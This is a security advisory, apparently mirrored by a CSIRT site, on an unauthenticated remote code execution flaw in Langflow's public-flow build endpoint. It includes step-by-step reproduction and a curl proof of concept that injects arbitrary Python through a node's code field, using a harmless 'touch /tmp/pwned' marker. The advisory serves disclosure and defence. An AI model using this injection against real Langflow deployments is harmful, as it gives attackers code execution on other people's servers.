GHSA-v5ff-9q35-q26f: Langflow: Unauthenticated RCE in Shareable Playgrounds
Summary
The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability.
Simply sharing a flow exposes the deployment to RCE risk by authenticated users.
Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe
Details
Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.
Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID.
When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!
The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.
PoC
Reproduction:
1. Create a new flow and add a Chat Input node to it
2. Share the flow ("Shareable Playground")
3. Access the public link with the browser developers tools open and execute the flow.
4. Find the /api/v1/build_public_tmp route and copy as cURL
5. Edit the data.nodes[X].data.node.template.code.value JSON field with any python code and run the cURL command.
Example PoC (replace flow ID with the correct one), and download test_with_python.json:
curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
-H 'Content-Type: application/json' \
-b 'client_id=anything' \
--data-raw "$(cat test_with_python.json)"
Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.
The stacktrace for the code executed is:
...
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
ids, vertices_to_run, graph = await build_graph_and_get_order()
File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
graph = await create_graph(fresh_session, flow_id_str, flow_name)
File "/Users/ori/Work/research/langchain/langflow/src
Details
Original advisory: https://github.com/advisories/GHSA-v5ff-9q35-q26f
Exploitation outlook
EPSS (FIRST.org) estimates each CVE’s probability of exploitation in the next 30 days — here is the CSIRTS.com read on those numbers.
- Low exploitation riskCVE-2026-485190.82% 30-day exploitation probability — currently an unlikely target, but scores change as exploit code circulates. Riskier than 54% of all scored CVEs.
Referenced CVEs
| CVE | CSIRTS overview | External |
|---|---|---|
| CVE-2026-48519 | coverage & exploitation status | NVD · CVE.org |
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